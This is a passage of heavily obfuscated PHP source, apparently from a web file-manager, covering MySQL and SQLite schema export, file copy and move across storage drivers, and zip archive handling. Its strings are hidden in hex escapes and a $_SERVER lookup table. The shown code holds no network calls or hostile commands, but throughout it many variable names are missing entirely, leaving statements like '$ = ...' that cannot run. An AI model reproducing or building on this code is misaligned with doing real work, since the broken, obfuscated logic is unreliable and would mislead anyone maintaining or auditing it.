$Ʒ[58]; } private function sqlDecode($Ȁ, $׫, $쳵 = '') { $ؿ =& $_SERVER[̧]; $Ȁ = str_replace(array($ؿ[1099], $ؿ[1100]), array($ؿ[1098], $ؿ[231]), $Ȁ); if ($׫ == $ؿ[13]) { return $쳵 != $ؿ[1103] ? stripslashes($Ȁ) : $Ȁ; } if ($쳵 == $ؿ[1103]) { $Ȁ = str_replace($ؿ[1104], $ؿ[118], stripslashes($Ȁ)); } return $Ȁ; } public function getSqlFile($ = '') { $lj =& $_SERVER[̧]; $ = $this->dbType(!0); $ = CONTROLLER_DIR . "\x69\x6e\x73\164\x61\x6c\154\57\144\141\164\141\57{$}\x2e\x73\161\154"; $і = file_get_contents($); $ = $lj[1105] . ($ == $lj[824] ? $lj[1106] : $lj[1107]) . $lj[1108]; preg_match_all($, $і, $Û); $˘ = $Û[1]; $ = $this->model()->db(); $ݏ = $->getTables(); $̜ = TEMP_FILES . $lj[1109] . date($lj[240]) . $lj[8]; del_dir($̜); mk_dir($̜); $ = $̜ . $lj[1110]; $ = $̜ . $lj[1111]; $ = $ == $lj[13] ? $lj[824] : $lj[13]; IO::copy(CONTROLLER_DIR . "\x69\156\163\164\141\154\x6c\57\144\x61\x74\141\x2f{$}\56\163\x71\154", $̜); @touch($̜ . $ . $lj[808]); $ؓ = fopen($, $lj[1086]); $怓 = fopen($, $lj[1086]); if ($ == $lj[13]) { $ݏ = array_diff($ݏ, array($lj[804], $lj[805])); $ij = array($lj[1112], $lj[1113], $lj[1114]); fwrite($怓, implode(PHP_EOL, $ij) . PHP_EOL . PHP_EOL); foreach ($ݏ as $Ӗ) { $“ = $this->sqlFromSqlite($Ӗ); if (!$“[$lj[13]]) { continue; } fwrite($怓, $“[$lj[13]] . PHP_EOL . PHP_EOL); if (!in_array($Ӗ, $˘)) { fwrite($ؓ, $“[$lj[824]] . PHP_EOL . PHP_EOL); } } } else { foreach ($ݏ as $Ӗ) { $“ = $this->sqlFromMysql($Ӗ); if (!$“[$lj[824]]) { continue; } fwrite($ؓ, $“[$lj[824]] . PHP_EOL . PHP_EOL); if (!in_array($Ӗ, $˘)) { fwrite($怓, $“[$lj[13]] . PHP_EOL . PHP_EOL); } } } fclose($ؓ); fclose($怓); $і = array($lj[824] => $, $lj[13] => $); return $ ? $і[$] : $і; } public function dbType($훪 = false) { $Ӷ =& $_SERVER[̧]; $֯ = $훪 ? $GLOBALS[$Ӷ[6]][$Ӷ[21]] : $this->database; $֯ = array_change_key_case($֯); $ƴ = $֯[$Ӷ[987]]; if ($ƴ == $Ӷ[984]) { $ = explode($Ӷ[4], $֯[$Ӷ[993]]); $ƴ = $[0]; } $ڣ = array($Ӷ[1115] => $Ӷ[13], $Ӷ[932] => $Ӷ[824]); if (isset($ڣ[$ƴ])) { $ƴ = $ڣ[$ƴ]; } return $ƴ; } public function sqlFromMysql($Dž̂, $ = '') { $뚂 =& $_SERVER[̧]; $ވ = $this->model()->db(); $ = $ވ->query($뚂[1116] . $Dž̂ . $뚂[414]); if (!$ || !$[0]) { return !1; } $닆 = _get($[0], $뚂[1117], $뚂[12]); if (!$닆) { return !1; } $ = "\104\122\117\120\x20\x54\101\102\x4c\x45\40\111\106\x20\x45\130\x49\123\x54\x53\x20\x60{$Dž̂}\x60\73" . PHP_EOL . $닆 . $뚂[71]; if ($ && $ == $뚂[824]) { return $; } $ŏߔ = array_change_key_case($GLOBALS[$뚂[6]][$뚂[21]]); $Ǧ = $ŏߔ[$뚂[992]]; $ݞ = $뚂[1118] . $Ǧ . $뚂[1119] . $Dž̂ . $뚂[58]; $ӌ = $뚂[1120] . $Dž̂ . $뚂[920]; $㭇 = $ވ->query($ݞ); if (empty($㭇)) { $ŗ = array($뚂[824] => $뚂[12], $뚂[13] => $뚂[12]); return $ ? $ŗ[$] : $ŗ; } $ = $ވ->query($ӌ); $ = $뚂[12]; $ϡ = array(); foreach ($ as $) { if (!$ && $[$뚂[1121]] == $뚂[1122]) { $ = $[$뚂[1123]]; } if (isset($ϡ[$[$뚂[1121]]])) { $ϡ[$[$뚂[1121]]][$뚂[1124]][] = $[$뚂[1123]]; continue; } $ϡ[$[$뚂[1121]]] = array($뚂[1125] => $[$뚂[1121]], $뚂[1124] => array($[$뚂[1123]]), $뚂[1126] => $[$뚂[1127]] == $뚂[88] ? 0 : 1); } $ = array(); foreach ($ϡ as $) { $ = $[$뚂[1125]] == $뚂[1122]; $èྂ = array($뚂[1128], $[$뚂[1126]] == $뚂[88] && !$ ? $뚂[1129] : $뚂[12], $뚂[1130], $뚂[1131] . $Dž̂ . $뚂[11] . ($ ? $뚂[1132] : $[$뚂[1125]]) . $뚂[118], $뚂[1133], $뚂[118] . $Dž̂ . $뚂[118], $뚂[1134] . implode($뚂[1135], $[$뚂[1124]]) . $뚂[1136]); $[] = implode($뚂[53], $èྂ) . $뚂[71]; } $ʼn = array(); $ = array($뚂[1137] => $뚂[1138], $뚂[1138] => $뚂[1138], $뚂[317] => $뚂[344], $뚂[316] => $뚂[344]); foreach ($㭇 as $) { $èྂ = array($뚂[118] . $[$뚂[1139]] . $뚂[118], isset($[$[$뚂[1140]]]) ? $[$[$뚂[1140]]] : $[$뚂[1141]], $[$뚂[1142]] == $뚂[918] ? $뚂[1143] : $뚂[1144], $[$뚂[1139]] == $ ? $뚂[1145] : $뚂[12], $[$뚂[969]] ? strtoupper(str_replace($뚂[11], $뚂[12], $[$뚂[969]])) : $뚂[12]); $ʼn[] = trim(implode($뚂[53], $èྂ)); } $ = array($뚂[1146] . $Dž̂ . $뚂[1147], $뚂[1148] . $Dž̂ . $뚂[1149], implode($뚂[50] . PHP_EOL, $ʼn), $뚂[966]); $ո = implode(PHP_EOL, array_merge($, $)); if ($ && $ == $뚂[13]) { return $ո; } $ŗ = array($뚂[824] => $, $뚂[13] => $ո); return $ ? $ŗ[$] : $ŗ; } public function sqlFromSqlite($ϐ, $ȴ = '') { $╴ʈ =& $_SERVER[̧]; $ = $this->model()->db(); $ΉѾ = "\120\122\x41\x47\x4d\101\40\x54\101\x42\114\x45\x5f\111\116\106\x4f\x20\50\x27{$ϐ}\47\51"; $بŢ = "\x53\105\114\105\x43\124\x20\52\40\x46\122\x4f\x4d\x20\x73\161\x6c\x69\164\x65\137\x6d\141\x73\164\145\162\x20\127\110\x45\122\105\40\x74\x62\x6c\x5f\x6e\x61\x6d\145\40\x3d\40\47{$ϐ}\x27"; $媙 = $->query($ΉѾ); if (empty($媙)) { $ߑ = array($╴ʈ[824] => $╴ʈ[12], $╴ʈ[13] => $╴ʈ[12]); return $ȴ ? $ߑ[$ȴ] : $ߑ; } $ = $->query($بŢ); $ñ = $ = array(); foreach ($ as $œ) { if ($œ[$╴ʈ[33]] == $╴ʈ[308]) { $ñ[] = $œ[$╴ʈ[1150]]; } else { $[$œ[$╴ʈ[32]]] = $œ[$╴ʈ[1150]]; } } $ = array_merge(array($╴ʈ[1146] . $ϐ . $╴ʈ[118]), $ñ, array_values($)); $ = implode($╴ʈ[71] . PHP_EOL, $) . $╴ʈ[71]; if ($ȴ && $ȴ == $╴ʈ[13]) { return $; } $ߜȹ = array(); $襥ؑ = array($╴ʈ[1138] => $╴ʈ[1151], $╴ʈ[344] => $╴ʈ[1152]); $ʣ = $╴ʈ[12]; foreach ($媙 as $œ) { if ($œ[$╴ʈ[57]] == $╴ʈ[88]) { $ʣ = $œ[$╴ʈ[32]]; } $䃣Ӭ = array($╴ʈ[414] . $œ[$╴ʈ[32]] . $╴ʈ[414], isset($襥ؑ[$œ[$╴ʈ[33]]]) ? $襥ؑ[$œ[$╴ʈ[33]]] : $œ[$╴ʈ[33]], $œ[$╴ʈ[35]] == $╴ʈ[88] ? $╴ʈ[1143] : $╴ʈ[1153] . $œ[$╴ʈ[56]], $œ[$╴ʈ[57]] == $╴ʈ[88] ? $╴ʈ[1154] : $╴ʈ[12]); $ߜȹ[] = trim(implode($╴ʈ[53], $䃣Ӭ)); } foreach ($ as $ => $뻱) { $蜵 = str_replace($╴ʈ[1155] . $ϐ . $╴ʈ[11], $╴ʈ[12], $); $ = str_replace(array($╴ʈ[118], $╴ʈ[977]), $╴ʈ[414], substr($뻱, stripos($뻱, $╴ʈ[289]))); if ($蜵 == $╴ʈ[1132]) { $ = $╴ʈ[1156] . $ʣ . $╴ʈ[1157]; } else { $ = (stripos($蜵, $╴ʈ[11]) ? $╴ʈ[1158] : $╴ʈ[12]) . ($╴ʈ[1159] . $蜵 . $╴ʈ[1160] . $); } $ߜȹ[] = $; } $ﰑ = array($╴ʈ[1161] . $ϐ . $╴ʈ[1162], $╴ʈ[1163] . $ϐ . $╴ʈ[1164], implode($╴ʈ[50] . PHP_EOL, $ߜȹ), $╴ʈ[1165]); $ޚ썬 = implode(PHP_EOL, $ﰑ); if ($ȴ && $ȴ == $╴ʈ[824]) { return $ޚ썬; } $ߑ = array($╴ʈ[824] => $ޚ썬, $╴ʈ[13] => $); return $ȴ ? $ߑ[$ȴ] : $ߑ; } } class IO extends ClassBaseCall { public static $driverCache = array(); public static $driverListSystem = array(); public static $driverListUser = array(); public static function __callStatic($, $) { $ =& $_SERVER[̧]; $ = $; $GLOBALS[$[1166]] = $[1167] . $; Hook::trigger($[1167] . $ . $[1168], $); $ = self::driverMake($[0]); if (!$) { return !1; } if (method_exists($, $)) { $ߒ = @call_user_func_array(array($, $), $); } else { if (method_exists($, $[1169])) { $ߒ = @call_user_func_array(array($, $), $); } else { if (method_exists(self, $)) { $ߒ = @call_user_func_array(array(self, $), $); } else { $ߒ = call_user_func_array(array(parent, $), $); } } } Hook::trigger($[1167] . $ . $[1170], $, $ߒ); return $ߒ; } public static function init($) { return self::driverMake($); } public static function copy($Õһ, $ʵ, $܈ = false, $޲ = false) { return self::copyMoveStart($Õһ, $ʵ, $܈, $_SERVER[̧][584], $޲); } public static function move($ٕ, $΅, $ = false, $ = false) { return self::copyMoveStart($ٕ, $΅, $, $_SERVER[̧][586], $); } private static function copyMoveStart($ģ, $, $, $󉐷, $ɽ) { $ =& $_SERVER[̧]; $眏 = array($ģ, $, $, $ɽ); Hook::trigger($[1167] . $󉐷 . $[1168], $眏); $ = self::copyMove($ģ, $, $, $󉐷, $ɽ); Hook::trigger($[1167] . $󉐷 . $[1170], $眏, $); return $; } public static function saveFile($, $֬͠, $ʨ = true) { $ʩ =& $_SERVER[̧]; $ޭ = self::info($֬͠); $ՠ = self::driverMake($); $ا = self::driverMake($֬͠); $ = !1; if ($ا->pathParse[$ʩ[1171]]) { $ = $ا; $ϭ = $ا->pathParse[$ʩ[1171]]; $ا = self::driverMake($ϭ); } if ($ՠ->pathParse[$ʩ[1171]]) { $È = $ՠ->pathParse[$ʩ[1171]]; $ՠ = self::driverMake($È); } $ = $ا->pathFather($֬͠); $ = !0; if (!$ʨ && self::driverIsSame($ՠ, $ا)) { $ = !1; } $ = self::copyFile($ՠ, $, $ا, $, $ޭ[$ʩ[32]], $); if ($) { $ = $->getPathOuter($); } return $; } private static function copyMove($ڰ, $, $, $ܖ, $͹ = false) { $ =& $_SERVER[̧]; if (!$ڰ || $ڰ == $[8] || !$) { return !1; } ignore_timeout(); $ʮʁ = self::driverMake($ڰ); $䅺 = self::driverMake($); $ư = $ܖ == $[586]; $ = !1; if ($䅺->pathParse[$[1171]]) { $ = $䅺; $ = $䅺->pathParse[$[1171]]; $䅺 = self::driverMake($); } if ($ʮʁ->pathParse[$[1171]]) { $ڰ = $ʮʁ->pathParse[$[1171]]; $ʮʁ = self::driverMake($ڰ); } self::check($ʮʁ, $ڰ, $䅺, $); Hook::trigger($[1172], $ʮʁ, $ڰ, $䅺, $); $ý = self::driverIsSame($ʮʁ, $䅺); if ($ý) { if ($ܖ == $[586] && !method_exists($䅺, $[1173]) && trim($, $[8]) == trim($䅺->pathFather($ڰ), $[8])) { if ($ʮʁ->pathThis($ڰ) != $͹ && !$ʮʁ->isTypeObject()) { return $ʮʁ->rename($ڰ, $͹); } return $䅺->getPathOuter($ڰ); } if (method_exists($䅺, $ܖ)) { return $䅺->{$ܖ}($ڰ, $, $, $͹); } } if ($ý && $ܖ == $[586] && $䅺->getType() == $[106]) { $͆߼ = $䅺->movePath($ڰ, $, $͹); if ($͆߼) { return $͆߼; } } $˳ = $ʮʁ->isFile($ڰ); if (!$˳ && $䅺->getType() == $[777] && $ʮʁ->getType() == $[106]) { $͆߼ = $䅺->copyFolderFromIO($ʮʁ, $ڰ, $, $, $ư, $͹); } else { $͆߼ = self::copyPath($ʮʁ, $ڰ, $䅺, $, $, $ư, $˳, $͹); } if ($͆߼ && $ư) { $ʮʁ->remove($ڰ); } if ($) { $͆߼ = $->getPathOuter($͆߼); } return $͆߼; } private static function check($, $箭, $퍇, &$) { $ۛ =& $_SERVER[̧]; if (self::driverIsSame($, $퍇) && $->isFolder($箭) && $->isParentOf($箭, $)) { show_json(LNG($ۛ[1174]), !1); } if (!$->exist($箭)) { show_json(LNG($ۛ[105]), !1); } } private static function copyPath($͆, $, $Ǥʑ, $, $, $󍤟, $Ӟ, $ĝ = false, $ = true) { $ =& $_SERVER[̧]; $ = empty($ĝ) && $ĝ !== $[198] ? $͆->pathThis($) : $ĝ; if ($) { $˭ = $Ǥʑ->fileNameExist($, $); $ = $; $ = $Ǥʑ->fileNameAuto($, $, $, !$Ӟ); if (!$˭ || $ != $) { $ = !1; } if ($ && !$) { $Ǥʑ->_data[$[1175]] = !0; } } if ($Ӟ) { return self::copyFile($͆, $, $Ǥʑ, $, $, $󍤟); } if ($ == REPEAT_RENAME_FOLDER) { $ = !1; } $ۦ = rtrim($, $[8]) . $[8] . $; $͋ = $Ǥʑ->mkdir($Ǥʑ->getPath($ۦ), $); $ = $Ǥʑ->getPathInner($͋); $߮ߐ = $͆->listPath($, !0); $߮ߐ = is_array($߮ߐ) ? $߮ߐ : array($[83] => array(), $[82] => array()); $Ϻ = array_merge($߮ߐ[$[83]], $߮ߐ[$[82]]); foreach ($Ϻ as $Ϯ) { $ӳ = $Ϯ[$[33]] == $[200]; $ = $͆->getPathInner($Ϯ[$[84]]); $ = self::copyPath($͆, $, $Ǥʑ, $, $, $󍤟, $ӳ, !1, !1); if (!$) { IO::errorTips($[1176] . $ . $[70] . $); } } self::copyMoveKeepInfo($͆, $, $͋); return $͋; } private static function copyFile($ԃ, $ଡ, $, $Ӑ, $Ɖ, $) { $ԥۧ =& $_SERVER[̧]; $Ӑ = $->getPath(rtrim($Ӑ, $ԥۧ[8]) . $ԥۧ[8] . $Ɖ); $޴ = $ԥۧ[1177] . time() . rand_string(5); Hook::trigger($ԥۧ[1178], $ԃ, $ଡ, $, $Ӑ, $Ɖ, $޴); if (self::driverIsSame($ԃ, $)) { if ($) { $כ = $->moveFile($ଡ, $Ӑ); } else { $כ = $->copyFile($ଡ, $Ӑ); } Hook::trigger($ԥۧ[1179], $ԃ, $ଡ, $, $Ӑ, $Ɖ, $כ); self::copyMoveKeepInfo($ԃ, $ଡ, $כ); return $כ; } $ = TEMP_FILES; if ($GLOBALS[$ԥۧ[6]][$ԥۧ[89]][$ԥۧ[816]]) { $ = $GLOBALS[$ԥۧ[6]][$ԥۧ[89]][$ԥۧ[816]]; } $ = $; mk_dir($); $ = $ . $޴; $ݏ = $; $ = $ԃ->download($ଡ, $); $ = $ԃ->iconvApp($); if (substr($, strlen($)) == $) { $ = !0; } $כ = $->upload($Ӑ, $, $); self::remove($ݏ); Hook::trigger($ԥۧ[1179], $ԃ, $ଡ, $, $Ӑ, $Ɖ, $כ); self::copyMoveKeepInfo($ԃ, $ଡ, $כ); return $כ; } private static function copyMoveKeepInfo($զ, $쎞, $) { if (!$) { return; } $ܽ̅ = $զ->info($쎞); if (!is_array($ܽ̅)) { return; } IO::setModifyTime($, $ܽ̅[$_SERVER[̧][85]]); } public static function pathFather($ꗅ) { $ = IO::init($ꗅ); $τۄ = $->pathFather($->path); return $->getPathOuter($τۄ); } public static function fileOut($˫, $ = false, $׌ = false, $ѯŒ = '') { $ԃ = self::driverMake($˫); if ($ԃ->isFileOutServer()) { return $ԃ->fileOutServer($˫, $, $׌, $ѯŒ); } return $ԃ->fileOut($˫, $, $׌, $ѯŒ); } public static function fileOutImage($̤, $ = 250) { $掰 = array(250, 600, 1200, 2000, 3000, 5000); for ($ = 0; $ < count($掰); $++) { if ($ == 0 && $ <= $掰[$]) { $ = $掰[$]; break; } else { if ($ > $掰[$ - 1] && $ <= $掰[$]) { $ = $掰[$]; break; } else { if ($ == count($掰) - 1 && $ > $掰[$]) { $ = $掰[$]; break; } } } } $ϲ = self::driverMake($̤); if ($ϲ->isFileOutServer()) { return $ϲ->fileOutImageServer($̤, $); } return $ϲ->fileOutImage($̤, $); } private static function driverIsSame($, $˛) { $Ҿ =& $_SERVER[̧]; $ = $->getType(); $ = $˛->getType(); if ($ != $) { return !1; } if ($ == $Ҿ[777]) { return !0; } if ($ == $Ҿ[106]) { return !0; } if ($->pathDriver == $˛->pathDriver) { return !0; } return !1; } public static function copyUpdate($ǫ, $؁) { $Ă𿦠 =& $_SERVER[̧]; if (!IO::exist($ǫ)) { return !1; } if (!IO::exist($؁)) { IO::mkdir($؁); } $ج = array_to_keyvalue(self::listAllSimple($ǫ), $Ă𿦠[84]); $Ň = array_to_keyvalue(self::listAllSimple($؁), $Ă𿦠[84]); $ = array(); $͞Ȓ = array(); foreach ($ج as $ܔ => $) { if (isset($Ň[$ܔ])) { if ($[$Ă𿦠[75]] == 1) { continue; } if ($Ň[$ܔ][$Ă𿦠[76]] == $[$Ă𿦠[76]]) { continue; } } if ($[$Ă𿦠[75]] == 1) { $͞Ȓ[] = $؁ . $Ă𿦠[8] . trim($ܔ, $Ă𿦠[8]); continue; } $ɽՆ = strstr(trim($ܔ, $Ă𿦠[8]), $Ă𿦠[8]) ? get_path_father($ܔ) : $Ă𿦠[12]; $[] = array($Ă𿦠[1180] => $[$Ă𿦠[86]], $Ă𿦠[1181] => rtrim($؁, $Ă𿦠[8]) . $Ă𿦠[8] . $ɽՆ, $Ă𿦠[1182] => $); } $Ҩ = array($Ă𿦠[200] => $, $Ă𿦠[75] => $͞Ȓ); Hook::trigger($Ă𿦠[1183], $ǫ, $؁, $Ҩ); foreach ($͞Ȓ as $) { IO::mkdir($); } foreach ($ as $) { IO::copy($[$Ă𿦠[1180]], $[$Ă𿦠[1181]], REPEAT_REPLACE); } } public static function fileSubstr($Ξ, $ϻ, $ = false) { $ =& $_SERVER[̧]; $ = self::driverMake($Ξ); $ = $->size($Ξ); $ = $ϻ; $ = $; if ($ϻ < 0) { $ϻ = $ + $ϻ; } if ($ === !1) { $ = $ - $ϻ; } if ($ϻ + $ > $) { $ = $ - $ϻ; } if (!$ && $->getType() == $[106] && !$->exist($Ξ)) { $ = get_path_this($Ξ); $̅ = parse_url_query($); if (is_array($̅) && isset($̅[$[32]])) { $ = urldecode($̅[$[32]]); } throw new Exception($[1184] . LNG($[1185]) . $[986] . clear_html($) . $[12]); } if ($ <= 0) { return $[12]; } if ($ϻ < 0 || $ϻ >= $ || $ > 1024 * 1024 * 10) { throw new Exception("\x66\151\154\x65\x52\x65\141\144\x20\145\x72\x72\157\162\x21\x20\x73\x74\x61\x72\x74\x3d{$ϻ}\x3b\x6c\145\156\147\x74\150\x3d{$}\73\40\163\x69\172\145\x3d{$}\73"); } $ؗˤ = $->fileSubstr($Ξ, $ϻ, $); if (!$ؗˤ && $ && isset($GLOBALS[$[1186]])) { throw new Exception($GLOBALS[$[1186]][$[1187]]); } return $ؗˤ; } private static function driverMake(&$) { $ԸٚIJ =& $_SERVER[̧]; $ҵ = KodIO::parse($); if (!self::$driverListSystem) { $Ď = Model($ԸٚIJ[787])->driverListSystem(); self::$driverListSystem = array_to_keyvalue($Ď, $ԸٚIJ[437]); } if ($ҵ[$ԸٚIJ[33]] == KodIO::KOD_IO && !self::$driverListSystem[$ҵ[$ԸٚIJ[437]]]) { return !1; } $ = $ҵ[$ԸٚIJ[1188]]; $džӿ = self::driverGet($ҵ, $); return $džӿ; } private static function driverGet($, &$) { $ݵ =& $_SERVER[̧]; $ = $[$ݵ[1189]]; $ؒ = $[$ݵ[437]]; switch ($[$ݵ[33]]) { case KodIO::KOD_IO: $ޠ = self::$driverListSystem[$ؒ]; break; case KodIO::KOD_SOURCE: $ = $ؒ . $; $ޠ = array($ݵ[1190] => $ݵ[1191], $ݵ[6] => $); break; case KodIO::KOD_USER_DRIVER: if (!self::$driverListUser) { $ڇ = $GLOBALS[$ݵ[1192]]; self::$driverListUser = array_to_keyvalue($ڇ, $ݵ[437]); } $ޠ = self::$driverListUser[$ؒ]; break; case KodIO::KOD_SHARE_LINK: $ޠ = array($ݵ[1190] => $ݵ[1193], $ݵ[6] => $); $৉ = Action($ݵ[1194])->sharePathInfo($[$ݵ[84]]); $ = $৉[$ݵ[440]]; if (!$৉[$ݵ[440]]) { $ = Model($ݵ[630])->getInfo($৉[$ݵ[631]]); $ = KodIO::clear($[$ݵ[1195]] . $[$ݵ[1188]]); $[$ݵ[524]] = $; $[$ݵ[1171]] = $; $ޠ = array($ݵ[1190] => $ݵ[1196], $ݵ[6] => $); } break; case KodIO::KOD_SHARE_ITEM: $ޠ = array($ݵ[1190] => $ݵ[1197], $ݵ[6] => $); $ = Model($ݵ[630])->getInfo($[$ݵ[437]]); if ($[$ݵ[440]] == $ݵ[198]) { $ = KodIO::clear($[$ݵ[1195]] . $[$ݵ[1188]]); $[$ݵ[524]] = $; $[$ݵ[1171]] = $; $ޠ = array($ݵ[1190] => $ݵ[1198], $ݵ[6] => $); } else { if (!$) { $ = $[$ݵ[440]]; } } break; default: $ = $[$ݵ[84]]; $ޠ = array($ݵ[1190] => $ݵ[1199]); break; } $ = $[$ݵ[84]]; if (!isset(self::$driverCache[$])) { $ = strtolower($ޠ[$ݵ[95]]); $ѣ = $GLOBALS[$ݵ[6]][$ݵ[89]][$ݵ[846]]; $㹴 = $ݵ[74] . (isset($ѣ[$]) ? $ѣ[$] : ucfirst($)); if (!class_exists($㹴)) { show_json("{$㹴}\x20\x6e\157\x74\40\x65\x78\x69\x73\164\163\x21", !1); } $² = isset($ޠ[$ݵ[6]]) ? $ޠ[$ݵ[6]] : !1; self::$driverCache[$] = new $㹴($²); } $ = self::$driverCache[$]; $->pathDriver = $; $->pathBase = $ݵ[12]; if (isset($ޠ[$ݵ[6]][$ݵ[1200]])) { $->pathBase = rtrim($ޠ[$ݵ[6]][$ݵ[1200]], $ݵ[8]) . $ݵ[8]; $ = $->pathBase . ltrim($, $ݵ[8]); } $ = $->getPath($); if (isset($[$ݵ[1171]])) { $ = $[$ݵ[1171]]; } $->path = $; return $; } public static function errorTips($Ȳ = false) { $ =& $_SERVER[̧]; static $Ž = array(); $ǀ͈ = 1000; if ($Ȳ === -1) { return $Ž ? $Ž[count($Ž) - 1] : $[12]; } if ($Ȳ === !1) { return implode($[231], $Ž); } if (count($Ž) >= $ǀ͈) { $Ž = array_slice($Ž, $ǀ͈ * 0.5, $ǀ͈); } $Ž[] = $Ȳ; write_log($[162] . ACTION . $[1201] . $Ȳ, $[1202]); } public static function getLastError($׋ = '') { $췿 = self::errorTips(-1); return $췿 ? $췿 : $׋; } } class IOArchive extends IO { function __construct() { parent::__construct(); } private static function local() { static $ɳ; if ($ɳ) { return $ɳ; } $ú = IO::init($_SERVER[̧][8]); return $ú; } private static function iconvSystem($) { return self::local()->iconvSystem($); } private static function iconvApp($) { return self::local()->iconvApp($); } public static function zipFolder($쭇, $ڣ = "\x7a\151\x70", $돨 = '', $ = REPEAT_RENAME) { $ =& $_SERVER[̧]; $ = IO::listPath($쭇); if (!$) { return !1; } $ = array_merge($[$[82]], $[$[83]]); return self::zip($, $ڣ, $돨, $); } public static function zip($, $ؚ = "\x7a\151\x70", $ߺ = '', $֤ = REPEAT_RENAME) { $ =& $_SERVER[̧]; if (is_string($) && $) { $ = array(array($[84] => $)); } $ = self::init($[0][$[84]]); $艱 = self::info($[0][$[84]]); $߄핤 = $[12]; $ = $[12]; $ = $[12]; if ($ߺ && substr($ߺ, -1, 1) != $[8]) { $ = get_path_father($ߺ); $ = get_path_this($ߺ); } else { $ = self::pathFather($艱[$[84]]); $ = $艱[$[32]] . $[10] . $ؚ; if (count($) > 1) { $ = IO::info($); $ = $[$[32]] . $[10] . $ؚ; } if ($ߺ) { $ = $ߺ; } } if ($->getType() == $[106]) { $շ = self::init($); $ = $շ->getType() == $[106] ? $ : get_path_father($->path); $ = rtrim($, $[8]) . $[8]; mk_dir($); } else { $߄핤 = TEMP_FILES . $[1203] . time() . rand_string(8) . $[8]; mk_dir($߄핤); file_put_contents($߄핤 . $[1204], $[12]); $ = $߄핤; } $ = IO::info($); if (!$ || !$[$[203]]) { show_json(LNG($[1205]), !1); } $҇兇 = self::zipFileList($, $߄핤); foreach ($҇兇 as $ => $דօ) { $҇兇[$] = self::iconvSystem($דօ); } $멘 = get_filename_auto($ . $, $[12], $֤); KodArchive::create(self::iconvSystem($멘), $҇兇); if (!IO::exist($멘)) { if ($߄핤) { del_dir($߄핤); } show_json(LNG($[1206]), !1); } if (!$߄핤) { return $멘; } $Ĕ = self::move($멘, $, $֤); if ($߄핤) { del_dir($߄핤); } if (!$멘) { show_json(LNG($[1206]), !1); } return $Ĕ; } public static function unzip($, $, $ = "\x2d\x31", $Ƹ = "\x72\145\x70\x6c\141\143\145") { $ =& $_SERVER[̧]; $ = parent::info($); if (!$) { show_json(LNG($[1207]), !1); } $̤ؖ = IO::infoFull($); if (!$̤ؖ) { $ = IO::mkdir($); } if (isset($̤ؖ[$[440]]) && trim($̤ؖ[$[84]], $[8]) != trim($, $[8])) { $ = KodIO::make($̤ؖ[$[470]]); $ = IO::fileNameAuto($, $̤ؖ[$[32]], REPEAT_RENAME_FOLDER, !0); $ = IO::mkdir($ . $); } $ = $ && $ != $[1208] ? @json_decode($, !0) : -1; $Ԁ = self::unzipPart($, $); if (!$Ԁ || !IO::exist($Ԁ[$[200]])) { show_json(LNG($[105]), !1); } $ِ = $Ԁ[$[1209]][count($Ԁ[$[1209]]) - 1]; if ($ِ[$[1210]] == -1 || substr($ِ[$[32]], -1, 1) == $[8]) { $™ = $Ԁ[$[1211]] . rand_string(10) . $[8]; mk_dir($™); $ = count($Ԁ[$[1209]]) == 1 ? IO::ext($) : get_path_ext($Ԁ[$[200]]); $ = KodArchive::extract(self::iconvSystem($Ԁ[$[200]]), $™, $ِ[$[1210]], $, $); self::unzipErrorCheck($, array($[1212], $, $, $, $Ԁ)); Hook::trigger($[1213], $™); recursion_dir($™, $̺, $ܛ, 0); $޽ = array_merge($̺, $ܛ); $ٯٺ = array(); foreach ($޽ as $) { $ſ = IO::move(self::iconvApp($), $, $Ƹ); if ($ſ) { $ٯٺ[] = $ſ; } } del_dir($™); } else { $ſ = IO::move($Ԁ[$[200]], $, $Ƹ, get_path_this($ِ[$[32]])); if ($ſ) { $ٯٺ[] = $ſ; } } return $ٯٺ ? $ٯٺ : !1; } public static function unzipList($) { $އ =& $_SERVER[̧]; $ = isset($[$އ[1214]]) ? $[$އ[1214]] : !1; $Ɍ = isset($[$އ[1210]]) ? @json_decode($[$އ[1210]], !0) : -1; $ړ = self::unzipPart($[$އ[84]], $Ɍ); if (!$ړ || !IO::exist($ړ[$އ[200]])) { show_json(LNG($އ[105]), !1); } $Ð = $ړ[$އ[1209]][count($ړ[$އ[1209]]) - 1]; $ = in_array(IO::ext($ړ[$އ[200]]), array($އ[342], $އ[1215], $އ[1216], $އ[1217], $އ[1218], $އ[1219])); if (!$ && ($Ð[$އ[1210]] == -1 || $)) { $ƚ = $ړ[$އ[1211]] . get_path_this($ړ[$އ[200]]) . $އ[1220]; if (!IO::exist($ƚ)) { $ֲ = $Ð[$އ[1210]] == -1 ? get_path_ext(IO::pathThis($[$އ[84]])) : get_path_ext($ړ[$އ[200]]); $ = KodArchive::listContent(self::iconvSystem($ړ[$އ[200]]), !0, $ֲ); self::unzipErrorCheck($, array($އ[1221], $, $ړ)); @file_put_contents($ƚ, json_encode($[$އ[1222]])); } return @json_decode(IO::getContent($ƚ), !0); } IO::fileOut($ړ[$އ[200]], $, get_path_this($Ð[$އ[32]])); die; } private static function zipFileList($ӓ, $٘ = false) { $ =& $_SERVER[̧]; $ = array(); foreach ($ӓ as $ޛ) { $ۂ܋ = $ޛ[$[84]]; if ($٘) { $ۂ܋ = self::copy($ޛ[$[84]], $٘, $[838]); } else { $؟ = self::init($ޛ[$[84]]); if ($؟->getType() == $[106]) { $ۂ܋ = $؟->path; } } if ($ۂ܋ && self::local()->exist($ۂ܋)) { $[$ޛ[$[84]]] = $ۂ܋; } } if (!empty($)) { return array_values($); } show_json(LNG($[1185]), !1); } private static function localFilePath($ʄ̻) { $ͥ =& $_SERVER[̧]; $ = KodIO::parse($ʄ̻); if ($[$ͥ[33]] == KodIO::KOD_SOURCE) { $匥 = Model($ͥ[845])->fileInfoGet(KodIO::sourceID($ʄ̻)); if (!$匥[$ͥ[84]]) { show_json($ͥ[1223], !1); } $ʄ̻ = $匥[$ͥ[84]]; } $ݪ = self::init($ʄ̻); if ($ݪ->pathParse[$ͥ[1171]]) { $ʄ̻ = $ݪ->pathParse[$ͥ[1171]]; $ݪ = self::init($ʄ̻); } $ǧ = $ݪ->getType(); if ($ǧ == $ͥ[106] || $ǧ == $ͥ[1224]) { if (!$ݪ->exist($ݪ->path)) { show_json(LNG($ͥ[105]), !1); } return $ݪ->path; } return !1; } public static function unzipPart($, $Ս = -1) { $ =& $_SERVER[̧]; $ɚ = IO::pathThis($); if (!$Ս || $Ս == -1) { $ = array(array($[32] => $ɚ, $[1210] => -1)); $[0][$[1225]] = $[0][$[32]]; } else { if (is_array($Ս)) { $ = $Ս; $ = count($) - 